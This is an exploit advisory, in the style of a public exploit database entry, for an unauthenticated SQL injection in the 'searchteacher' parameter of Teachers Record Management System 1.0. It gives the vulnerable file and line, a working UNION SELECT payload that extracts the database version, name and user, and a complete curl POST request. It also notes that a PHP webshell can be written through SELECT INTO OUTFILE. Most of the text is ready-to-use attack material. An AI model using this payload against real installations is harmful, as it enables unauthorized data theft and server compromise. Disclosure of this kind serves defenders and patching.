# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection # Date: 2020-07-14 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10739 # Version: v1.0 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- /search-teacher.php Vulnerable Code: ----------------- line 73: $sdata=$_POST['searchteacher']; Vulnerable Issue: ----------------- $sdata=$_POST['searchteacher']; is not filtered correcty [+] Any unauthenticated user can inject the following payload inside the Search y Subject Form [+] Attacker can inject php webshell using SELECT INTO OUTFILE method through this entry point [+] The result will be displayed as the image name or from the view-source line 115 : (Ex: <td><img src="admin/images/5.7.11:trms:root@localhost" height="100"></td>) POC: ---- Payload: gh1mau' UNION ALL SELECT NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&search= Sample Request: curl -i -s -k --location --request POST 'http://localhost:80/trms/search-teacher.php' \ --header 'Origin: http://localhost' \ --header 'Cookie: PHPSESSID=g0v05i144dnr9bud7j1mb6n167' \ --header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \ --header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \ --header 'Connection: close' \ --header 'Referer: http://localhost/trms/' \ --header 'Host: localhost' \ --header 'Accept-Encoding: gzip, deflate' \ --header 'Upgrade-Insecure-Requests: 1' \ --header 'Accept-Language: en-US,en;q=0.5' \ --header 'Content-Length: 193' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'searchteacher=gh1mau%27+UNION+ALL+SELECT+NULL%2CNULL%2CCONCAT_WS%280x3a%2Cversion%28%29%2Cdatabase%28%29%2Cuser%28%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+-%26search%3D&search='